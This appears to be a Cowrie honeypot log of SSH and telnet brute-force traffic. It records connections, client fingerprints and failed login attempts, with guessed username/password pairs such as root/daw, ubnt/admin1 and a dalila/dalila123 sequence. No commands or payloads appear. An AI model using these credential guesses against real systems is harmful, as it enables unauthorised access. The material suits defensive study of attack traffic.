{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:c2:17:6e:23:10:6d:2b:24:1f:9a:12:cb:bf:8f:a5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN4MLwSCPI2DK9xM7+vw2QWtX6bXu8vamc4Imzt12GeN74jWM0EXQ7RJMfLMPzVUgibrkGNmmBVP2RkD3Oh9/pBfC15mgPF2S8aPrZjpSHa6czNscnIjhAyozTgF8GxRvoPF0wv7g7YGDC07ZrgBQOCB5rJL9TZUFUSwdOwnsJrfAAAAFQDAqDiM/8YgbwebCn9pvku1beMQOQAAAIEAuIvBJj4dWtpZkDAu5KkqKUi8qP0EfkR2Uir0Uz5hnQBaUwn89MneX3OX9r4TPQ1XJCopF/Bele5Xs/Nz5sXmkHtZZclIcauEvZ0fgjtQyijNPSdKPYzDDa+AHj7kCzHfY1dZPfNlnvAxtF64uQH73BiULxqWd7kdxPPDL/SXHwQAAACBAMcuNgytwTX8PKV1m1eDbJ6eplDvxGGil3UhFflHhrPrx5hV2GYaTl8t/Br6ZNO50XbVbCBpxtJHVezepFVmbYlthOjVY7Rzp7tYgv7Fhv8VmgTPMukM8GQMLOheb9KONiori8TD42ZsK6lboWG6E2gmg/Ad7RJKqDquk4MLSDas","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.785824Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:04:41:7d:5b:7f:f9:b3:58:fc:9b:84:e8:86:05:2c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGrqiwJ7TAWJrXYmZIxFhXYRpj0wOiUzFtvopkDn0lHP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ba:04:41:7d:5b:7f:f9:b3:58:fc:9b:84:e8:86:05:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.842750Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:04:41:7d:5b:7f:f9:b3:58:fc:9b:84:e8:86:05:2c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGrqiwJ7TAWJrXYmZIxFhXYRpj0wOiUzFtvopkDn0lHP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.847302Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:03.931928Z","src_ip":"184.154.78.51","session":"c060364e79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daw","message":"login attempt [root/daw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:04.436599Z","src_ip":"45.123.110.70","session":"9b2b1db20607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:05.677412Z","src_ip":"45.123.110.70","session":"9b2b1db20607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.495219230651855,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:00:08.015692Z","src_ip":"167.71.238.254","session":"ce85e87259d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":24458,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8af65446b8","protocol":"ssh","message":"New connection: 178.20.210.186:24458 (10.17.0.5:22) [session: 5d8af65446b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:14.787859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:14.793860Z","src_ip":"178.20.210.186","session":"5d8af65446b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:14.895278Z","src_ip":"178.20.210.186","session":"5d8af65446b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin1","message":"login attempt [ubnt/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:15.289234Z","src_ip":"178.20.210.186","session":"5d8af65446b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:16.705481Z","src_ip":"178.20.210.186","session":"5d8af65446b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56460,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76b3ad7f614","protocol":"ssh","message":"New connection: 213.209.159.56:56460 (159.203.135.109:22) [session: e76b3ad7f614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:32.041521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:32.047080Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:32.130676Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila","message":"login attempt [dalila/dalila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:32.531693Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila1","message":"login attempt [dalila/dalila1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:33.616899Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila123","message":"login attempt [dalila/dalila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:34.701799Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila1234","message":"login attempt [dalila/dalila1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:35.787867Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila12345","message":"login attempt [dalila/dalila12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:36.878129Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:37.964384Z","src_ip":"213.209.159.56","session":"e76b3ad7f614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":41858,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f01e8ac95b","protocol":"ssh","message":"New connection: 45.123.110.70:41858 (159.203.135.109:22) [session: 57f01e8ac95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:40.366524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:40.371282Z","src_ip":"45.123.110.70","session":"57f01e8ac95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:40.619134Z","src_ip":"45.123.110.70","session":"57f01e8ac95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:41.588933Z","src_ip":"45.123.110.70","session":"57f01e8ac95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:42.839819Z","src_ip":"45.123.110.70","session":"57f01e8ac95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":45640,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a24e78e617","protocol":"telnet","message":"New connection: 194.180.12.23:45640 (10.17.0.5:23) [session: e6a24e78e617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:46.935478Z"}
{"eventid":"cowrie.session.closed","duration":0.00561976432800293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:01:46.940937Z","src_ip":"194.180.12.23","session":"e6a24e78e617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":43360,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a828e9e7c5","protocol":"ssh","message":"New connection: 64.89.160.207:43360 (10.17.0.5:22) [session: c7a828e9e7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:02:41.726538Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:02:41.731613Z","src_ip":"64.89.160.207","session":"c7a828e9e7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":12184,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c24211bd319","protocol":"ssh","message":"New connection: 45.123.110.70:12184 (159.203.135.109:22) [session: 1c24211bd319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:03:17.568900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:03:17.574109Z","src_ip":"45.123.110.70","session":"1c24211bd319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:03:17.811415Z","src_ip":"45.123.110.70","session":"1c24211bd319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:03:18.789660Z","src_ip":"45.123.110.70","session":"1c24211bd319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:03:20.028453Z","src_ip":"45.123.110.70","session":"1c24211bd319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":55574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71aca1ce1da","protocol":"telnet","message":"New connection: 167.71.238.254:55574 (10.17.0.5:23) [session: a71aca1ce1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:16.718157Z"}
{"eventid":"cowrie.session.closed","duration":22.385528564453125,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:39.103571Z","src_ip":"167.71.238.254","session":"a71aca1ce1da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":39010,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce647b04f7a3","protocol":"ssh","message":"New connection: 45.123.110.70:39010 (159.203.135.109:22) [session: ce647b04f7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:52.438593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:52.443663Z","src_ip":"45.123.110.70","session":"ce647b04f7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:52.679610Z","src_ip":"45.123.110.70","session":"ce647b04f7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luanda","message":"login attempt [root/luanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:53.654711Z","src_ip":"45.123.110.70","session":"ce647b04f7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:04:54.893191Z","src_ip":"45.123.110.70","session":"ce647b04f7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":9342,"dst_ip":"159.203.135.109","dst_port":22,"session":"00d633945061","protocol":"ssh","message":"New connection: 45.123.110.70:9342 (159.203.135.109:22) [session: 00d633945061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:26.775125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:26.780289Z","src_ip":"45.123.110.70","session":"00d633945061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:27.030352Z","src_ip":"45.123.110.70","session":"00d633945061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beauty123","message":"login attempt [root/beauty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:28.008274Z","src_ip":"45.123.110.70","session":"00d633945061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:29.247360Z","src_ip":"45.123.110.70","session":"00d633945061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"860bdfb571ca","protocol":"telnet","message":"New connection: 167.71.238.254:60370 (10.17.0.5:23) [session: 860bdfb571ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:06:50.113258Z"}
{"eventid":"cowrie.session.closed","duration":19.23085904121399,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:07:09.343987Z","src_ip":"167.71.238.254","session":"860bdfb571ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":49816,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f7790d45a9","protocol":"telnet","message":"New connection: 167.71.238.254:49816 (10.17.0.5:23) [session: 90f7790d45a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:07:54.495709Z"}
